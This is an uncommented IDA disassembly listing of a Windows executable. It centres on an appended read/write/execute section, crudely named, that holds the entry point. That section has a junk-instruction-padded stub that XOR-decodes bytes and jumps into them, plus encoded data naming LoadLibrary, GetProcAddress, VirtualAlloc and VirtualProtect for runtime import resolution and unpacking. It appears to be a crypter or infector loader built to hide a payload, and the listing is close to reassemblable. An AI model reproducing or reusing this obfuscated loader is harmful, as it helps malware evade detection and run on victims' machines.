dword_47C484	dd 0							; sub_41C5B0+2Ew ...
dword_47C488	dd 0							; .data:off_42E1CCo ...
dword_47C48C	dd 0		dword_47C490	dd 0				dd 0Bh dup(0)
dword_47C4C0	dd 0							; sub_41C5B0+14Ar ...
		align 10h
dword_47C4D0	dd 0							; sub_419E09+272r ...
		dd 0Ah dup(0)
dword_47C4FC	dd 0		; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_41D188+39w ...
dword_47C500	dd 0		dword_47C504	dd 0		dword_47C508	dd 0							; sub_41E1C5+182r ...
dword_47C50C	dd 0		; resolved to->USER32.MessageBoxA					; sub_41E453+38w ...
dword_47C510	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41E453:loc_41E518r
dword_47C514	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41E453+D6r
dword_47C518	dd 0		; resolved to->USER32.GetProcessWindowStation					; sub_41E453:loc_41E4D3r
dword_47C51C	dd 0		; resolved to->USER32.GetUserObjectInformationA					; sub_41E453+9Cr
		dd 30h dup(0)
dword_47C5E0	dd 0		dword_47C5E4	dd 0							; sub_41F063+87r
dword_47C5E8	dd 0							; sub_41F063+4Dr
dword_47C5EC	dd 0							; sub_41F063+40r
dword_47C5F0	dd 0							; sub_41F063+5Ar
		dd 4 dup(0)
dword_47C604	dd 0							; sub_41F6BA+31w ...
dword_47C608	dd 0							; sub_41F96A+2Ew ...
dword_47C60C	dd 0		dword_47C610	dd 0		dword_47C614	dd 0		dword_47C618	dd 0							; sub_419087+Fr ...
		align 10h
dword_47C620	dd 0							; sub_417C89+5Br ...
dword_47C624	dd 3Fh dup(0)	dword_47C720	dd 0							; sub_41AC36+87r ...
dword_47C724	dd 0							; sub_41ADC8:loc_41AE07r ...
dword_47C728	dd 0							; sub_41AE37+F5w ...
		dd 5 dup(0)
byte_47C740	db 0			; DATA XREF: sub_41AC0D+6o
					; sub_41AE37+55o ...
byte_47C741	db 0			; DATA XREF: sub_415D0D+5Er
					; sub_41AC36+107w ...
		align 4
		dd 40h dup(0)
dword_47C844	dd 0							; sub_41AC36+19r ...
		align 10h
word_47C850	dw 0			; DATA XREF: sub_41AC0D+1Fo
					; sub_41AE37+10Co ...
		align 10h
byte_47C860	db 0			; DATA XREF: sub_41AC36:loc_41AD4Bw
					; sub_41AC36:loc_41AD68w ...
		align 4
		dd 3Fh dup(0)
dword_47C960	dd 0							; sub_418329+21Cr ...
dword_47C964	dd 0							; sub_4182FEr ...
dword_47C968	dd 0							; sub_4182FE+8r ...
dword_47C96C	dd 0							; sub_414DD6+18r ...
dword_47C970	dd 0							; sub_418329+300w ...
dword_47C974	dd 0							; sub_418641+5r ...
dword_47C978	dd 0							; sub_418329+249r ...
dword_47C97C	dd 0							; sub_414BBA+DAr ...
dword_47C980	dd 0							; sub_414BBA:loc_414BF0r ...
dword_47C984	dd 0							; sub_417E5D+51r ...
		dd 6 dup(0)
dword_47C9A0	dd 400h	dup(0)						; .data:0042D980o
dword_47D9A0	dd 0							; sub_417F3Br ...
dword_47D9A4	dd 0							; sub_41B8DD+Fr ...
dword_47D9A8	dd 0		dword_47D9AC	dd 0							; sub_415FC0:loc_41601Ar ...
dword_47D9B0	dd 0							; sub_415FC0+62r ...
dword_47D9B4	dd 0							; sub_41B11D+11w ...
_data		ends

; Section 4. (virtual address 0007E000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0007E000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
fuck		segment	para public 'CODE' use32
		assume cs:fuck
		;org 47E000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 7E028h, 7E035h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 801D7700h, 80ADA07Ch
		dd 7Ch,	4C000000h, 4C64616Fh, 61726269h, 417972h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 2 dup(0)
		dd 47E07900h, 47E07D00h, 5 dup(0)
		db 0
byte_47E085	db 90h			; DATA XREF: start+65o
word_47E086	dw 25E8h		; DATA XREF: fuck:0047E1A4o
					; start:loc_47E9A2o
		dd 1, 10h, 200h, 2B0h, 6 dup(0)
		dd 0A7000000h, 0B80001EBh, 0A8h, 38h, 1Ah dup(0)
		dd 56000000h, 75747269h, 6C416C61h, 636F6Ch, 61427349h
		dd 61655264h, 72745064h, 809A5100h, 809E017Ch, 8000007Ch
		dd 7Ch,	0
		dd 40000000h, 0
		dd 29DE400h, 80000000h,	162E97Ch, 0
		dd 72695600h, 6C617574h, 746F7250h, 746365h, 7C801AD0h
		dd 4, 1, 2 dup(0)
		dd 12A8D4h, 3D33h, 9B0Bh, 0
		dd offset word_47E086
		dd offset start
		dd 0FFFFAE79h, 0E8h, 0ED815D00h, 4011B5h, 11988589h, 9D890040h
		dd 40119Ch, 11A08D89h, 95890040h, 4011A4h, 11A8B589h, 0BD890040h
		dd 4011ACh, 1188BD83h, 74000040h, 94A58B2Bh, 8B004011h
		dd 40119885h, 9C9D8B00h, 8B004011h, 4011A08Dh, 0A4958B00h
		dd 8B004011h, 4011A8B5h, 0ACBD8B00h, 0C3004011h, 1194A589h
		dd 85830040h, 401194h, 8885C704h, 1004011h, 8D000000h
		dd 40102885h, 95FF5000h, 401035h, 114D8589h, 9D8D0040h
		dd 40112Bh, 95FF5053h, 401039h,	11458589h, 9D8D0040h, 401138h
		dd 4DB5FF53h, 0FF004011h, 40103995h, 49858900h,	8D004011h
		dd 4011719Dh, 0B5FF5300h, 40114Dh, 103995FFh, 85890040h
		dd 401180h, 0E8h, 81665A00h, 745A4D3Ah,	0F6EB4A03h, 3C4AB70Fh
		dd 5152CA03h, 0FF51046Ah, 40114995h, 0B5A5900h,	810875C0h
		dd 455039h, 4A037400h, 7981D4EBh, 3DC70h, 4A037400h, 9589C8EBh
		dd 401159h, 84858D51h, 50004011h, 68046Ah, 51000010h, 118095FFh
		dd 8B590040h, 40118C85h, 78418900h, 1190858Bh, 41890040h
		dd 0AB9517Ch, 33000000h, 0DBB58DD2h, 3004010h, 0C085ADF2h
		dd 85031774h, 401159h, 9D8D60h,	53004010h, 6158D0FFh, 0E204C283h
		dd 8D5159DCh, 40118485h, 46A5000h, 100068h, 95FF5100h
		dd 401180h, 6D858B59h, 89004011h, 8881h, 8C81C700h, 68000000h
		dd 6A000003h, 10006840h, 680000h, 6A010000h, 4595FF00h
		dd 8B004011h, 0C381D8h,	8D002000h, 40108BB5h, 0B3BD8D00h
		dd 33004010h, 0AB9D2h, 85AD0000h, 32974C0h, 40115985h
		dd 50535000h, 1B8E8h, 8C48300h,	8D8D6058h, 4010B3h, 98BCA03h
		dd 0F38BF88Bh, 8361A4F3h, 0D2E204C2h, 1151BD83h, 74000040h
		dd 51858B66h, 8B004011h, 4011599Dh, 0FF38B00h, 33C7EB7h
		dd 34578BFEh, 89DA2B60h, 4011559Dh, 0D33B6100h,	0D8034174h
		dd 74003B83h, 8B038B3Ah, 0E9D1044Bh, 0F08C383h,	0D78B3BB7h
		dd 830CEFC1h, 1A7503FFh, 0E781FA8Bh, 0FFFh, 0BD03F803h
		dd 401159h, 55858B50h, 1004011h, 0FA8B5807h, 0E202C383h
		dd 8BC1EBD2h, 40115D85h, 74C00B00h, 59850311h, 8B004011h
		dd 401079BDh, 8708B00h,	0B58B3E89h, 401161h, 1159B503h
		dd 0EE830040h, 14C68314h, 107E83h, 90840Fh, 5E8B0000h
		dd 599D030Ch, 56004011h, 3595FF53h, 5E004010h, 11658589h
		dd 3E830040h, 8B137400h, 59BD033Eh, 8B004011h, 8D03104Eh
		dd 401159h, 7E8B12EBh, 59BD0310h, 8B004011h, 8D03104Eh
		dd 401159h, 74003F83h, 0F1F8BACh, 721FE3BAh, 599D0320h
		dd 83004011h, 575102C3h, 65B5FF53h, 0FF004011h,	40103995h
		dd 89595F00h, 0EB018907h, 0D1E3D119h, 535751EBh, 1165B5FFh
		dd 95FF0040h, 401039h, 789595Fh, 0C7830189h, 4C18304h
		dd 0AB9B2EBh, 33000000h, 3B58DD2h, 3004011h, 0C085ADF2h
		dd 85031774h, 401159h, 9D8D60h,	53004010h, 6158D0FFh, 0E204C283h
		dd 94A58BDCh, 8B004011h, 40119885h, 9C9D8B00h, 8B004011h
		dd 4011A08Dh, 0A4958B00h, 8B004011h, 4011A8B5h,	0ACBD8B00h
		dd 8B004011h, 40116995h, 59950300h, 0FF004011h,	40C033E2h
		dd 748B60C3h, 7C8B2424h, 0B2FC2824h, 0A4DB3380h, 6DE802B3h
		dd 73000000h, 0E8C933F6h, 64h, 0C0331C73h, 5BE8h, 0B3237300h
		dd 10B04102h, 4FE8h, 73C01200h,	0AA3F75F7h, 4DE8D4EBh
		dd 2B000000h, 0E81075CBh, 42h, 0D1AC28EBh, 134D74E8h, 911CEBC9h
		dd 8E0C148h, 2CE8ACh, 3D0000h, 7300007Dh, 5FC800Ah, 0F8830673h
		dd 4102777Fh, 0C58B9541h, 8B5601B3h, 0F3F02BF7h, 8EEB5EA4h
		dd 575D202h, 1246168Ah,	0C933C3D2h, 0FFEEE841h,	0C913FFFFh
		dd 0FFFFE7E8h, 0C3F272FFh, 28247C2Bh, 1C247C89h, 9090C361h
		dd 90909090h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near		; DATA XREF: fuck:0047E1A8o
		mov	ecx, 56Fh
		sbb	ebx, ebp
		and	ah, ah
		or	ebx, ebx
		inc	ebx
		dec	ebx
		sbb	al, 0B2h
		or	al, 96h
		inc	ebx
		add	al, 77h
		dec	edi
		dec	ebx
		dec	edi
		inc	ebp
		add	al, 3Eh
		push	ebx
		sbb	ebx, ebp
		pop	edi
		cmp	bl, ah
		jnb	loc_47E644
		dec	edi
		sbb	bl, ah
		sbb	ebx, ebx
		adc	ebp, ebx
		inc	edi
		dec	ebx
		adc	bl, bl
		inc	edi
		push	edi
		inc	edi
		inc	ebx
		dec	eax
		xor	al, 68h
		inc	edi
		add	ah, ah
		pop	ebx
		add	eax, 3FD0h
		dec	edi
		inc	ebx
		push	ebp
		dec	ebx
		inc	edi
		dec	ebx
		inc	ebx
		dec	edi
		dec	eax
		inc	eax
		or	eax, 7132h


loc_47E644:				; CODE XREF: start+20j
		inc	ebp
		pop	ebp
		dec	ebx
		dec	edi
		xor	ebp, ebp
		push	ebp
		pop	edi
		inc	ebp
		dec	edi
		xor	eax, 30BBh
		inc	edi
		xor	ebx, ebp
		dec	eax
		dec	ebx
		push	eax
		mov	esi, offset byte_47E085
		pop	ebp
		sbb	ebx, ebp
		and	ah, ah
		or	ebx, ebx
		inc	ebx
		dec	ebx
		sbb	al, 0B2h
		or	al, 96h
		inc	ebx
		add	al, 77h
		dec	edi
		dec	ebx
		dec	edi
		inc	ebp
		add	al, 3Eh
		push	ebx
		sbb	ebx, ebp
		pop	edi
		cmp	bl, ah
		jnb	loc_47E6AA
		dec	edi
		sbb	bl, ah
		sbb	ebx, ebx
		adc	ebp, ebx
		inc	edi
		dec	ebx
		adc	bl, bl
		inc	edi
		push	edi
		inc	edi
		inc	ebx
		dec	eax
		xor	al, 68h
		inc	edi
		add	ah, ah
		pop	ebx
		add	eax, 3FD0h
		dec	edi
		inc	ebx
		push	ebp
		dec	ebx
		inc	edi
		dec	ebx
		inc	ebx
		dec	edi
		dec	eax
		inc	eax
		or	eax, 7132h


loc_47E6AA:				; CODE XREF: start+86j
		inc	ebp
		pop	ebp
		dec	ebx
		dec	edi
		xor	ebp, ebp
		push	ebp
		pop	edi
		inc	ebp
		dec	edi
		xor	eax, 30BBh
		inc	edi
		xor	ebx, ebp
		dec	eax
		dec	ebx
		push	eax
		call	$+5
		pop	edx
		add	edx, 4
		dec	eax
		pop	ebx
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E71C
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E73F
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E71C:				; CODE XREF: start+E3j
		cmp	bl, bl
		jnb	loc_47E73E
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E739
		and	ah, bl


loc_47E739:				; CODE XREF: start+13Dj
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E73E:				; CODE XREF: start+12Aj
		dec	edi


loc_47E73F:				; CODE XREF: start+107j
		dec	edi
		test	ecx, ecx
		jz	loc_47E9A2
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E79B
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E7BE
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E79B:				; CODE XREF: start+162j
		cmp	bl, bl
		jnb	loc_47E7BD
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E7B8
		and	ah, bl


loc_47E7B8:				; CODE XREF: start+1BCj
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E7BD:				; CODE XREF: start+1A9j
		dec	edi


loc_47E7BE:				; CODE XREF: start+186j
		dec	edi
		xor	byte ptr [esi],	80h
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E815
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E838
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E815:				; CODE XREF: start+1DCj
		cmp	bl, bl
		jnb	loc_47E837
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E832
		and	ah, bl


loc_47E832:				; CODE XREF: start+236j
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E837:				; CODE XREF: start+223j
		dec	edi


loc_47E838:				; CODE XREF: start+200j
		dec	edi
		inc	esi
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E88D
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E8B0
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E88D:				; CODE XREF: start+254j
		cmp	bl, bl
		jnb	loc_47E8AF
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E8AA
		and	ah, bl


loc_47E8AA:				; CODE XREF: start+2AEj
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E8AF:				; CODE XREF: start+29Bj
		dec	edi


loc_47E8B0:				; CODE XREF: start+278j
		dec	edi
		dec	ecx
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E905
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E928
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E905:				; CODE XREF: start+2CCj
		cmp	bl, bl
		jnb	loc_47E927
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E922
		and	ah, bl


loc_47E922:				; CODE XREF: start+326j
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E927:				; CODE XREF: start+313j
		dec	edi


loc_47E928:				; CODE XREF: start+2F0j
		dec	edi
		jmp	edx
; ---------------------------------------------------------------------------
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E97E
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47E9A1
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E97E:				; CODE XREF: start+345j
		cmp	bl, bl
		jnb	loc_47E9A0
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47E99B
		and	ah, bl


loc_47E99B:				; CODE XREF: start+39Fj
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47E9A0:				; CODE XREF: start+38Cj
		dec	edi


loc_47E9A1:				; CODE XREF: start+369j
		dec	edi


loc_47E9A2:				; CODE XREF: start+14Ej
		mov	edx, offset word_47E086
		dec	eax
		sbb	al, 0A7h
		push	eax
		adc	ah, bl
		inc	eax
		dec	edi
		and	al, 88h
		add	al, 2Bh
		cmp	ah, ah
		jno	loc_47E9FA
		sub	ah, ah
		sub	bl, ah
		or	ebx, ebp
		pop	ebx
		push	ebx
		pop	ebx
		inc	ebp
		dec	ebx
		sbb	ebx, ebx
		inc	ebx
		inc	ebp
		push	eax
		sub	eax, 5979h
		and	ebx, ebp
		adc	ah, bl
		dec	ebx
		dec	ebp
		pop	ebx
		cmp	bl, bl
		jns	loc_47EA1D
		xor	eax, 13A6h
		inc	edi
		and	ah, bl
		or	bl, ah
		or	al, 7Dh
		dec	ebx
		sub	ebp, ebx
		inc	ebx
		sbb	eax, 7D8Dh
		add	ah, bl
		and	bl, ah
		xor	ebx, ebp


loc_47E9FA:				; CODE XREF: start+3C1j
		cmp	bl, bl
		jnb	loc_47EA1C
		dec	ebp
		adc	ebx, ebp
		inc	ebx
		push	eax
		and	ebx, ebp
		pop	eax
		push	eax
		or	al, 22h
		cmp	ebp, ebp
		jno	loc_47EA17
		and	ah, bl


loc_47EA17:				; CODE XREF: start+41Bj
		sbb	al, 97h
		sbb	ah, bl
		pop	edi


loc_47EA1C:				; CODE XREF: start+408j
		dec	edi


loc_47EA1D:				; CODE XREF: start+3E5j
		dec	edi
		jmp	edx
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 50A71C48h, 4F40DC10h, 2B048824h, 810FE43Ah, 3Fh, 0DC2AE428h
		dd 535BEB09h, 194B455Bh, 504543DBh, 59792Dh, 12EB2100h
		dd 5B4D4BE3h, 890FDB38h, 3Eh, 13A635h, 0E3224700h, 7D0CDC0Ah
		dd 43EB2B4Bh, 7D8D1Dh, 22DC0000h, 3AEB31DCh, 1A830FDBh
		dd 4D000000h, 5043EB11h, 5058DD23h, 0ED3B220Ch,	2810Fh
		dd 0E3220000h, 0E31A971Ch, 4F4F5Fh, 55Ah dup(0)
fuck		ends

; Section 5. (virtual address 00080000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00080000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 480000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start